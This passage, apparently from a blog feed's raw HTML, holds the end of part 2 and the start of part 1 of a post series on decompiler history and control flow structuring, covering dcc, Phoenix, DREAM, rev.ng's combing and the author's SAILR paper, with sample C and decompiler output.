<span class="k">if</span> <span class="p">((</span><span class="o">~</span><span class="n">x</span> <span class="o">&amp;&amp;</span> <span class="n">y</span><span class="p">)</span> <span class="o">||</span> <span class="n">x</span><span class="p">)</span>
  <span class="n">C</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="o">~</span><span class="n">x</span> <span class="o">&amp;&amp;</span> <span class="o">~</span><span class="n">y</span><span class="p">)</span>
  <span class="n">D</span><span class="p">();</span>
<span class="n">E</span><span class="p">();</span>
</code></pre></div></div>

<p>Note, DREAM would avoid making conditions for <code class="language-plaintext highlighter-rouge">E</code>, since it dominates everyone. After that, DREAM <strong>simplifies the boolean expressions</strong> to get the following:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">A</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="o">~</span><span class="n">x</span><span class="p">)</span>
  <span class="n">B</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">x</span> <span class="o">||</span> <span class="n">y</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">C</span><span class="p">();</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
  <span class="n">D</span><span class="p">();</span>
<span class="p">}</span>
<span class="n">E</span><span class="p">();</span>
</code></pre></div></div>

<p>DREAM accomplished a very interesting and effective way to make code that is always goto-less.
However, DREAM also came with two fundamental drawbacks to its approach:</p>
<ol>
  <li><a href="https://en.wikipedia.org/wiki/Boolean_satisfiability_problem">Simplifying arbitrary boolean expressions is NP-Hard</a></li>
  <li>Destroying every goto means gotos that existed in the source get eliminated</li>
</ol>

<p>First, in practice, it’s easy to find code with many conditions in it.
For instance, here is some DREAM (<a href="https://github.com/angr/angr/blob/0fa30cd21b4814c3ee299244cb5601c4c32b5c54/angr/analyses/decompiler/structuring/dream.py#L53">implemented in angr</a>) decompiled code from <code class="language-plaintext highlighter-rouge">tail</code> in Coreutils:</p>
<h4 id="tail-ignore_fifo_and_pipe">tail: ignore_fifo_and_pipe</h4>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">v2</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">a0</span><span class="o">-&gt;</span><span class="n">field_34</span> <span class="o">&amp;&amp;</span> <span class="n">a0</span><span class="o">-&gt;</span><span class="n">field_38</span> <span class="o">&gt;=</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">a0</span><span class="o">-&gt;</span><span class="n">field_30</span> <span class="o">&amp;</span> <span class="mh">0xf000</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0x1000</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="n">a0</span><span class="o">-&gt;</span><span class="n">field_38</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
            <span class="n">a0</span><span class="o">-&gt;</span><span class="n">field_34</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">a0</span><span class="o">-&gt;</span><span class="n">field_38</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">v2</span> <span class="o">||</span> <span class="n">a0</span><span class="o">-&gt;</span><span class="n">field_34</span> <span class="o">||</span> <span class="p">(</span><span class="n">a0</span><span class="o">-&gt;</span><span class="n">field_30</span> <span class="o">&amp;</span> <span class="mh">0xf000</span><span class="p">)</span> <span class="o">!=</span> <span class="mh">0x1000</span><span class="p">)</span>
            <span class="n">v1</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span>
</code></pre></div></div>

<p>If the SAT problem was solved, you could have reduced those two expressions. 
Because you can’t guarantee you can simplify an expression, you are left with many overlapping booleans. 
In a <a href="https://docs.google.com/presentation/d/1qiZ9TuMZoC8dGqIATininf13PRk4YLG04Ne69kp-1LY/edit#slide=id.g1f608501ff2_0_10042">slide</a> from my Ohio State Talk, I counted the number of Boolean operators in DREAM and other algorithms output.
DREAM had around <strong>9,600</strong> Booleans. Phoenix had <strong>342</strong>. The source code (Coreutils) had <strong>1,256</strong>.</p>

<p>Though with its flaws, DREAM still had an important effect on decompilation. 
Namely, it introduced the importance of <a href="https://iss.oden.utexas.edu/Publications/Papers/PLDI1994.pdf">Single-Entry Single-Exit (SESE) Regions</a>, which played a fundamental role in future papers. 
It also had a <a href="https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=7546501">follow-up paper</a> that explored how this algorithm might work on C++ with a human study.</p>

<p>So, what could a goto-less output be like if we got around the boolean expression simplification problem?</p>

<h2 id="revng-code-cloning-schema-matching">rev.ng: Code Cloning Schema-Matching</h2>

<p>About five years after DREAM, in 2020, the paper <a href="https://rev.ng/downloads/asiaccs-2020-paper.pdf">“A Comb for Decompiled C Code”</a> was published about its decompiler <code class="language-plaintext highlighter-rouge">rev.ng</code>, a closed-source commercial decompiler. 
The rev.ng decompiler targeted the same end goal as DREAM: <strong>0 gotos</strong> in decompilation.
However, it achieved this through a different means, sticking with schema-based algorithms as its base. 
Learning from DREAM, the rev.ng approach avoids simplifying booleans and instead uses a new, but <a href="https://www.reddit.com/r/Compilers/comments/18xtvam/comment/kgf1lcm/?utm_source=share&amp;utm_medium=web2x&amp;context=3">intuitive</a>, algorithm called Combing.</p>

<p>Where DREAM duplicated conditions (as a result) to eliminate gotos, Combing duplicates actual code to fix CFGs <em>before</em> they are structured. 
In this way, rev.ng uses the same structuring algorithm base as Phoenix, but fixes the CFG before structuring. 
Combing attempts to turn every graph into a series of layered diamonds, which results in nicely structured <code class="language-plaintext highlighter-rouge">if-else</code> trees. 
Using our <a href="#example-graph">example CFG</a> once again, we can see the result of “Combing” the CFG:</p>

<h4 id="combing-example-graph">Combing Example Graph</h4>
<p><img src="/assets/images/dec-history/comb_ex.png" alt="" /></p>

<p>Take note, that the original graph only had one <code class="language-plaintext highlighter-rouge">C</code> node, but now there are two. 
Previously, an edge from <code class="language-plaintext highlighter-rouge">A-&gt;C</code> caused a goto, so Combing copied the code at <code class="language-plaintext highlighter-rouge">C</code> and made it a new node.
This new structure results in a perfect layering of diamonds, resulting in the following code through Phoenix now:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">A</span><span class="p">()</span>
<span class="k">if</span> <span class="p">(</span><span class="n">x</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">C</span><span class="p">();</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
  <span class="n">B</span><span class="p">();</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">y</span><span class="p">)</span>
    <span class="n">C</span><span class="p">();</span>
  <span class="k">else</span>
    <span class="n">D</span><span class="p">();</span>
<span class="p">}</span>
<span class="n">E</span><span class="p">();</span>
</code></pre></div></div>

<p>As some Redditors on <a href="https://www.reddit.com/r/Compilers/comments/18xtvam/comment/kggunv8/?utm_source=share&amp;utm_medium=web2x&amp;context=3">r/Compilers discussed</a>, this concept can lead to an exponential increase in code. 
This also so happens to duplicate code when you may have had the opportunity to solve it with more schema. 
Similar to DREAM, the largest issue with this approach is its divergence from the source that contains gotos.</p>

<hr />

<p>At this point in the blog post, we approach the final paper in this series of structuring, SAILR. 
As the first author of this paper, I’ll be talking about this section a little differently from the others.
Much of the progression of this story, as well as its fueling questions, was produced by my work on SAILR.</p>

<h2 id="sailr-compiler-aware-structuring">SAILR: Compiler-Aware Structuring</h2>

<p>After understanding the fundamental gains each of these papers had, you may still have some lingering questions.
In Phoenix, we reduced gotos with more schema.
In DREAM, we reduced gotos at the expense of duplicating conditions. 
In rev.ng, we reduced gotos at the expense of duplicating code. 
But one thing never answered was, <em>why do gotos even exist in decompilation?</em>
Also, is goto reduction the <em>best way to measure</em> when decompilers are improving?</p>

<p>In our 2024 work <a href="https://www.zionbasque.com/files/publications/sailr_usenix24.pdf">“Ahoy SAILR! There is No Need to DREAM of C: A Compiler-Aware Structuring Algorithm for Binary Decompilation”</a>, referred to as SAILR, we explored these questions.
We also <a href="https://github.com/mahaloz/angr-sailr">open-sourced the entire decompiler</a>, <a href="https://github.com/mahaloz/sailr-eval">evaluation pipeline</a>, and <a href="https://github.com/mahaloz/sailr-eval/blob/e1af48353c1c5b32cc53cbaa015722d57767bd6e/sailreval/decompilers/angr_dec.py#L45">reimplementations of all previous work</a> mentioned here.</p>

<p>Back to our first question, <strong>why do gotos exist in decompilation?</strong>
In schema-based structuring algorithms, we know that gotos appear because there are no more schemas to match a section of the CFG.
But why do the CFGs generate <em>unstructurable</em> patterns in the first place? 
Surely, if you compiled code with no gotos you should always be able to structure the graph without gotos?</p>

<p>As you likely guessed, when you compile goto-free code you <em>can get</em> decompilation with gotos.
Take this simplified example based on the SAILR paper:</p>

<h4 id="comparing-code-and-decompilers">Comparing Code and Decompilers</h4>

<!-- SOME INSANE TABLE CODE BELOW, see dec-history/code.md --->
<table>
<tr>
<td> Source Code </td> <td> IDA Pro (and others)* </td> <td> DREAM </td>
</tr>
<tr>
<td> 
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ====================</span>
<span class="k">if</span> <span class="p">(</span><span class="n">a</span> <span class="o">&amp;&amp;</span> <span class="n">b</span><span class="p">)</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"first"</span><span class="p">);</span>

<span class="n">puts</span><span class="p">(</span><span class="s">"second"</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">b</span><span class="p">)</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"third"</span><span class="p">);</span>

<span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"fourth"</span><span class="p">);</span>
</code></pre></div></div>
</td>


<td> 
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ====================</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">a</span> <span class="o">&amp;&amp;</span> <span class="n">b</span> <span class="p">)</span>
<span class="p">{</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"first"</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"second"</span><span class="p">);</span>
  <span class="k">goto</span> <span class="n">LABEL_6</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"second"</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">b</span> <span class="p">)</span> <span class="p">{</span>
<span class="nl">LABEL_6:</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"third"</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"fourth"</span><span class="p">);</span>
</code></pre></div></div>
</td>

<td>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ====================</span>
<span class="k">if</span> <span class="p">(</span><span class="n">a</span> <span class="o">&amp;&amp;</span> <span class="n">b</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"first"</span><span class="p">);</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"second"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">a</span> <span class="o">||</span> <span class="o">!</span><span class="n">b</span><span class="p">)</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"second"</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">b</span><span class="p">)</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"third"</span><span class="p">);</span>
<span class="n">sleep</span><span class="p">(</span><span class="mh">1</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"fourth"</span><span class="p">);</span>
</code></pre></div></div>
</td>


</tr>
</table>
<p><br /></p>

<p>*Others include any Phoenix-based decompiler like Ghidra and Binja.
SAILR is the exception, which produces the source code exactly in this example.</p>

<p>The code was compiled with <code class="language-plaintext highlighter-rouge">gcc -O2</code>, the default compiler optimization level for packages in Linux.
Indeed, IDA Pro has both a goto and duplicated code (<code class="language-plaintext highlighter-rouge">puts("second")</code>).
In SAILR, we found that the cause of <em>most</em> gotos is just <strong>9 compiler optimizations</strong>, most found in <code class="language-plaintext highlighter-rouge">O2</code>.
For any savvy decompiler people, these findings suggest that <a href="https://dl.acm.org/doi/pdf/10.1145/355609.362337">reducible graphs</a> are unimportant to decompilation structuring. 
The only way to ever get rid of these gotos, while maintaining structure like the source, is to revert them precisely.</p>

<p>This realization was important because up until this point, we had been removing gotos from decompilation without knowing why.
Doing something without understanding the root cause always results in side effects, as seen in DREAM and rev.ng. 
However, doing nothing results in decompilation with gotos that did not exist in the source, as seen in Phoenix.</p>

<p>With this in mind, we fought on two fronts.
First, we made our decompiler revert all 9 compiler opts precisely to undo their transformations that made gotos. 
Second, we measured which decompiler was doing the best by comparing their decompilation to the source using a sped-up version of <a href="https://en.wikipedia.org/wiki/Graph_edit_distance">Graph Edit Distance</a> (called CFGED).
With Control-Flow Graph Edit Distance (CFGED), a decompiler can still have gotos in its output and get a good score if it matches the source.</p>

<p>A perfect decompiler should produce a <strong>0 CFGED</strong>, meaning 0 graph edit distance, and the same gotos as the source.
Here is how everyone did in a condensed graph derived from the paper on 26 C packages:</p>

<p><img src="/assets/images/dec-history/cfged_graph.png" alt="" /></p>

<p>As you might’ve guessed, goto-less algorithms do the worst when you compare them to their original source. 
IDA Pro has the best CFGED score, but still produces a huge amount of <em>fake</em> gotos. 
Our algorithm to produce a CFGED score on source for your own decompiler is <a href="https://github.com/mahaloz/cfgutils/blob/main/cfgutils/similarity/cfged.py">open-sourced</a>, so get yours evaluated today!</p>

<p>In conclusion, <strong>SAILR can be summarized into three points</strong>:</p>
<ol>
  <li>Gotos are caused by compiler optimizations, many of which you can revert.</li>
  <li>CFGED is a new algorithm to fairly measure your distance from source.</li>
  <li>Not all gotos are evil.</li>
</ol>

<p>For more information on how CFGED works, how you might revert optimizations, or how we discovered which optimizations cause gotos, read our paper. 
The appendix also has a nifty step-by-step of the CFGED algorithm in practice.
Additionally, if you want to try out any of these previous works in the real world, check out our <a href="https://github.com/mahaloz/sailr-eval#using-sailr-on-angr-decompiler">sailr-eval</a> repo for how to use angr with previous structuring algorithms.</p>

<h2 id="wrap-up">Wrap Up</h2>

<p>And here we are, at the end of this whirlwind of a post series.
Many issues still exist in decompilation aside from structuring, such as low fidelity to source, weak editability, no recompilability, and other sub-topics such as poor symbol recovery. 
Of these issues, I find, possibly biasedly, that control flow structuring is the most interesting.
I hope after reading this, you find it interesting too, since it’s still unsolved!</p>

<p>Even with our work on SAILR, which got us much closer to source, there is still so much more the community needs to discover. 
Notice that in the graph on <code class="language-plaintext highlighter-rouge">CFGED v Gotos</code>, SAILR is still nearly double the gotos of the source and nowhere near <strong>0</strong> CFGED.
The future of <em>perfect decompilation</em> is tied to improving these two scores. 
I believe with open and community-driven work, we will achieve near-perfect decompilation.</p>

<p>I’d like to acknowledge the <a href="https://www.darpa.mil/program/assured-micropatching">DARPA AMP</a> program for funding this research. 
Lastly, I’d like to thank you, the reader. 
Your support motivates us to keep pushing the boundaries of what is possible.</p>]]></content><author><name></name></author><category term="research" /><summary type="html"><![CDATA[A two-part series on the history of decompiler research and the fight against the unsolved control flow structuring problem. In part 1, we revisit the history of foundational decompilers and techniques, concluding on a look at modern works. In part 2, we deep-dive into the fundamentals of modern control flow structuring techniques, and their limitations, and look to the future.]]></summary></entry><entry><title type="html">30 Years of Decompilation and the Unsolved Structuring Problem: Part 1</title><link href="https://mahaloz.re/dec-history-pt1" rel="alternate" type="text/html" title="30 Years of Decompilation and the Unsolved Structuring Problem: Part 1" /><published>2024-01-02T00:00:00+00:00</published><updated>2024-01-02T00:00:00+00:00</updated><id>https://mahaloz.re/dec-history-pt1</id><content type="html" xml:base="https://mahaloz.re/dec-history-pt1"><![CDATA[<h2 id="retrospection">Retrospection</h2>

<p>As 2024 begins, I’ve taken a moment to think about the last year(s) of decompilation research, since I spent most of my 2023 working on decompilation.
I’ve largely spent that time working on a fundamental area of decompilation research called control flow structuring. 
Although I find this area critical to decompilation, I realize most security people have only heard of it in passing. 
With that in mind, I wanted to take a moment to recap the (short) history of binary decompilation and structuring, loosely based on my <a href="https://icdt.osu.edu/events/2023/03/virtual-event-modern-approaches-human-centric-decompilation">Ohio State talk</a> on the same topic. I also mix in some of my advisor’s, <a href="https://ruoyuwang.me/">Dr. Fish Wang</a>, <a href="https://www.youtube.com/watch?v=XasallkPQIA">NDSS talk</a>.</p>

<p>To clarify, this post will be about <em>binary decompilation</em>, or decompilation on programs produced by compiled languages like C, C++, Rust, and Go.
I will focus on the history of decompilation as preliminary information needed to understand the control flow structuring. 
Luckily (or unluckily?), decompilation as a research area has a relatively small history, even considering non-academic approaches like IDA Pro.</p>

<h2 id="decompiler-origins">Decompiler Origins</h2>

<p>Many researchers credit <a href="https://scholar.google.com/citations?user=iseZ69MAAAAJ&amp;hl=en">Dr. Cristina Cifuentes</a> with publishing the first work on decompilation in her 1994 dissertation “Reverse Compilation Techniques”.
However, other decompilers also existed at this time, and are documented on <a href="https://www.program-transformation.org/Transform/HistoryOfDecompilation2.html">program-transformation.org</a>.
In Cifuentes work, she reaffirms the idea that after we have a disassembled program, in the form of a Control Flow Graph (CFG), we still have more work to do:</p>
<blockquote>
  <p>“The control flow graph … has no information on high level language control structures such as <code class="language-plaintext highlighter-rouge">if..then..elses</code> and <code class="language-plaintext highlighter-rouge">while()</code> loops. Such a graph can be converted into a structured high level language graph by means of a <em>structuring</em> algorithm.”</p>
</blockquote>

<p>A structuring algorithm takes this CFG, which may already be lifted to an intermediate language (IL), and converts it into high-level structures. 
In Cifuentes work, the structuring algorithm matches patterns in the graph, referred to as graph schema, and marks them as structures.
Some of those schema can be seen below:</p>

<p><img src="/assets/images/dec-history/dcc_schema.png" alt="" /></p>

<p>You keep identifying structure, bottom-up, until you run out of structures to identify. 
Take note that it is always possible to exhaust patterns in the graph and make C code because of the special <em>goto</em> structure. 
Indeed the goto structure can be constructed from any node with an edge, which must be used sparingly for decent code.</p>

<p>Let’s run an example to briefly understand how this works.
Below you will find a five-node CFG, which has been lifted from an assembly graph:</p>

<h4 id="example-graph">Example Graph</h4>
<p><img src="/assets/images/dec-history/struct_ex.png" alt="" /></p>

<p>That diamond pattern encapsulated in <code class="language-plaintext highlighter-rouge">B</code>-<code class="language-plaintext highlighter-rouge">E</code> is a classic <code class="language-plaintext highlighter-rouge">if-then-else</code> structure, where <code class="language-plaintext highlighter-rouge">y</code> is the condition. 
Unfortunately, there is also an edge slamming right in the middle of that structure: <code class="language-plaintext highlighter-rouge">A -&gt; C</code>, violating the known pattern.
Intuitively, you can’t have an edge entering in one of the scopes of an <code class="language-plaintext highlighter-rouge">if</code>… unless that edge is a goto! 
Cifuentes doesn’t introduce a clean-and-cut method to know which edge to make into a goto, but we assume <code class="language-plaintext highlighter-rouge">A-&gt;C</code> would be best. 
In this case, it results in the “best” possible output for this graph:</p>

<h4 id="example-structured-code">Example Structured Code</h4>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">A</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">x</span><span class="p">)</span>
    <span class="k">goto</span> <span class="n">C</span><span class="p">;</span>
<span class="n">B</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">y</span><span class="p">)</span> <span class="p">{</span>
    <span class="nl">C:</span>
    <span class="n">C</span><span class="p">();</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
    <span class="n">D</span><span class="p">();</span>
<span class="p">}</span>
<span class="n">E</span><span class="p">();</span>
</code></pre></div></div>

<p>Note, there are many ways to output this code and many edges that could’ve been chosen to make the goto. 
Small choices like what edge becomes the goto, what condition is flipped in an <code class="language-plaintext highlighter-rouge">if</code>, and how you reduce scopes (like me omitting the <code class="language-plaintext highlighter-rouge">else</code> of <code class="language-plaintext highlighter-rouge">if (x)</code>), can drastically affect the quality of the output.
With this in mind, any lifted (or assembly) CFG has many possible structured-C outputs as options. 
At runtime, we don’t know which of those options (if any of them) is the original C that generated the CFG. 
We’ll explore more of those ideas, <code class="language-plaintext highlighter-rouge">goto</code> choosing, and alternate algorithms in Part 2 of this post series.</p>

<p>Let’s continue with some history. 
Much of this work on control flow structuring was directly inspired and led by the work in compilers. 
One such work was “Compilers: Principles, Techniques, and Tools,” published in 1986.</p>

<p>Here is a snippet of code produced by the 1994 <code class="language-plaintext highlighter-rouge">dcc</code>, the decompiler introduced in Cifuentes work:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">"dcc.h"</span><span class="cp">
</span>
<span class="kt">void</span> <span class="nf">proc_1</span> <span class="p">(</span><span class="kt">int</span> <span class="n">arg0</span><span class="p">,</span> <span class="kt">int</span> <span class="n">arg1</span><span class="p">,</span> <span class="kt">int</span> <span class="n">arg2</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">int</span> <span class="n">loc1</span><span class="p">;</span> 
    <span class="kt">int</span> <span class="n">loc2</span><span class="p">;</span> 
    <span class="kt">int</span> <span class="n">loc3</span><span class="p">;</span>
    <span class="n">loc2</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">while</span> <span class="p">((</span><span class="n">loc2</span> <span class="o">&lt;</span> <span class="mi">5</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">loc3</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="k">while</span> <span class="p">((</span><span class="n">loc3</span> <span class="o">&lt;</span> <span class="mi">4</span><span class="p">))</span> <span class="p">{</span>
            <span class="n">loc1</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
            <span class="k">while</span> <span class="p">((</span><span class="n">loc1</span> <span class="o">&lt;</span> <span class="mi">4</span><span class="p">))</span> <span class="p">{</span>
                <span class="o">*</span><span class="p">((((</span><span class="n">loc2</span> <span class="o">*</span> <span class="mi">10</span><span class="p">)</span> <span class="o">+</span> <span class="n">arg2</span><span class="p">)</span> <span class="o">+</span> <span class="p">(</span><span class="n">loc3</span> <span class="o">&lt;&lt;</span> <span class="mi">1</span><span class="p">)))</span> <span class="o">=</span> 
                    <span class="p">((</span><span class="o">*</span><span class="p">((((</span><span class="n">loc2</span> <span class="o">&lt;&lt;</span> <span class="mi">3</span><span class="p">)</span> <span class="o">+</span> <span class="n">arg0</span><span class="p">)</span> <span class="o">+</span> <span class="p">(</span><span class="n">loc1</span> <span class="o">&lt;&lt;</span> <span class="mi">1</span><span class="p">)))</span> <span class="o">*</span>
                    <span class="o">*</span><span class="p">((((</span><span class="n">loc1</span> <span class="o">*</span> <span class="mi">10</span><span class="p">)</span> <span class="o">+</span> <span class="n">arg1</span><span class="p">)</span> <span class="o">+</span> <span class="p">(</span><span class="n">loc3</span> <span class="o">&lt;&lt;</span> <span class="mi">1</span><span class="p">))))</span> <span class="o">+</span>
                    <span class="o">*</span><span class="p">(((</span><span class="n">loc2</span> <span class="o">*</span> <span class="mi">10</span><span class="p">)</span> <span class="o">+</span> <span class="n">arg2</span><span class="p">)</span> <span class="o">+</span> <span class="p">(</span><span class="n">loc3</span> <span class="o">&lt;&lt;</span> <span class="mi">1</span> <span class="p">))));</span>
                <span class="n">loc1</span> <span class="o">=</span> <span class="p">(</span><span class="n">loc1</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="p">;</span>
            <span class="err">｝</span>
            <span class="n">loc3</span> <span class="o">=</span> <span class="p">(</span><span class="n">loc3</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
        <span class="err">｝</span>
        <span class="n">loc2</span> <span class="o">=</span> <span class="p">(</span><span class="n">loc2</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="kt">void</span> <span class="n">main</span> <span class="p">()</span>
<span class="p">{</span> 
    <span class="kt">int</span> <span class="n">loc1</span><span class="p">;</span> 
    <span class="kt">int</span> <span class="n">loc2</span><span class="p">;</span> 
    <span class="kt">int</span> <span class="n">loc3</span><span class="p">;</span>
    <span class="n">proc_1</span> <span class="p">(</span><span class="o">&amp;</span><span class="n">loc3</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">loc2</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">loc1</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>It’s rugged, lacking variable collapsing and any meaningful structure simplification, but hey, it works! 
I think the first thing you may notice is the over-use of <code class="language-plaintext highlighter-rouge">while()</code> loops in the program. 
This is of course because you can wrap most structures in a <code class="language-plaintext highlighter-rouge">while</code> and end it with a <code class="language-plaintext highlighter-rouge">break</code> to guarantee scopes are correct.
You’ll notice modern decompilers still do this when scopes get wonky.</p>

<p>I generally summarize Cifuentes’ dissertation as identifying (implicitly) three fundamental pillars of decompilation:</p>
<ol>
  <li>CFG recovery (through disassembling) &amp; Lifting</li>
  <li>Variable recovery (including type inferencing)</li>
  <li>Control flow structuring</li>
</ol>

<p>Although these areas had much work to be done in 1994, other academics did not approach them deeply for many more years.
However, hackers across the world are now ready to make their own decompilers, following the same general ideas.</p>

<h2 id="the-dawn-of-hacker-decompilers">The Dawn of Hacker Decompilers</h2>

<p>It would be impossible to list all the decompilers that popped up post-Cifuentes, so instead, I will list the ones that still live today.
Luckily, you already know one of them: IDA Pro, <a href="https://hex-rays.com/about-us/our-journey/">which established its decompiler HexRays in 2007</a>, and continues to dominate the decompiler game today.
That same year, listed as a few months earlier, <a href="https://github.com/uxmal/reko">Reko</a> decompiler, an open-source alternative, released its <a href="https://github.com/uxmal/reko/commit/c686454070ea00b35d7e1c3c358da9d26d0dc7d4">first decompiler version</a>.
Both IDA and Reko follow the general ideas introduced in Cifuentes’ work, structuring graphs into code by matching known schema that compilers follow. 
Some assume that IDA Pro took this to a new level by doing some condition-checking to reduce structures at this time.</p>

<p>Much of the work at this time follows the same ideas, with varying success, but research in the academic world started around 4 years later in 2011.
Without jumping too far into the future, it’s worth noting <a href="https://github.com/x64dbg/snowman">Snowman</a> and <a href="https://github.com/fay59/fcd">fcd</a> decompiler were also released in 2015.
At that same time, Vector35, the company behind the <a href="https://binary.ninja/">Binary Ninja</a> decompiler, was <a href="https://www.crunchbase.com/organization/vector-35">founded</a>.
I like to assume that around the development time of IDA Pro, <a href="https://ghidra-sre.org/">Ghidra</a> was also developed.
If you know of any other decompilers that belong here, please let me know on social media or in the comments.</p>

<h2 id="the-academic-pickup">The Academic Pickup</h2>

<p>Academic work picked up in decompilers again in 2011 with the Carnegie Mellon team publishing <a href="https://kilthub.cmu.edu/articles/journal_contribution/TIE_Principled_Reverse_Engineering_of_Types_in_Binary_Programs/6469466/1/files/11898020.pdf">“TIE: Principled reverse engineering of types in binary programs”</a>, a new way to recover types (and variables) in CFGs. 
I include this paper because it’s used extensively in their 2013 decompiler work, <a href="https://www.usenix.org/system/files/conference/usenixsecurity13/sec13-paper_schwartz.pdf">“Native x86 Decompilation Using Semantics-Preserving Structural Analysis and Iterative Control-Flow Structuring”</a>, colloquially known as Phoenix. 
Last August (2023), Phoenix turned 10 years old.</p>

<p>The Phoenix paper was the first decompilation control flow structuring algorithm to be published in what security academics refer to as the Top 4: <a href="https://www.usenix.org/conference/usenixsecurity24">USENIX Security</a>, <a href="https://www.sigsac.org/ccs/CCS2023/">CCS</a>, <a href="https://sp2024.ieee-security.org/">S&amp;P</a>, and <a href="https://www.ndss-symposium.org/">NDSS</a>, the distinguished security conferences as noted by <a href="https://csrankings.org/">CS Rankings</a>.
This is significant because it signals to other researchers that decompilation is publishable!</p>

<p>After Phoenix, I assumed the Top 4 would be filled with fundamental research in decompilers, like control flow structuring. 
However, the field has remained rather quiet for the last 20 years. 
Using a simple title grepping tool for the Top 4, <a href="https://github.com/Kyle-Kyle/top4grep">top4grep</a>, we can see papers published since 2000:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>top4grep <span class="nt">-k</span> decompil
<span class="o">[</span>Top4Grep][INFO]12-29 18:04 Grep based on the following keywords: decompil
<span class="o">[</span>Top4Grep][DEBUG]12-29 18:04 Found 10 papers
2024: USENIX   - Ahoy SAILR! There is No Need to DREAM of C: A Compiler-Aware Structuring Algorithm <span class="k">for </span>Binary Decompilation
2024: USENIX   - A Taxonomy of C Decompiler Fidelity Issues
2024: IEEE S&amp;P - <span class="s2">"Len or index or count, anything but v1"</span>: Predicting Variable Names <span class="k">in </span>Decompilation Output with Transfer Learning
2023: USENIX   - Decompiling x86 Deep Neural Network Executables.
2023: IEEE S&amp;P - QueryX: Symbolic Query on Decompiled Code <span class="k">for </span>Finding Bugs <span class="k">in </span>COTS Binaries.
2023: IEEE S&amp;P - Pyfet: Forensically Equivalent Transformation <span class="k">for </span>Python Binary Decompilation.
2022: USENIX   - DnD: A Cross-Architecture Deep Neural Network Decompiler.
2022: USENIX   - Decomperson: How Humans Decompile and What We Can Learn From It.
2022: USENIX   - Augmenting Decompiler Output with Learned Variable Names and Types.
2019: CCS      - Kerberoid: A Practical Android App Decompilation System with Multiple Decompilers.
2016: IEEE S&amp;P - Helping Johnny to Analyze Malware: A Usability-Optimized Decompiler and Malware Analysis User Study.
2015: NDSS     - No More Gotos: Decompilation Using Pattern-Independent Control-Flow Structuring and Semantic-Preserving Transformations.
2013: USENIX   - Native x86 Decompilation Using Semantics-Preserving Structural Analysis and Iterative Control-Flow Structuring.
</code></pre></div></div>

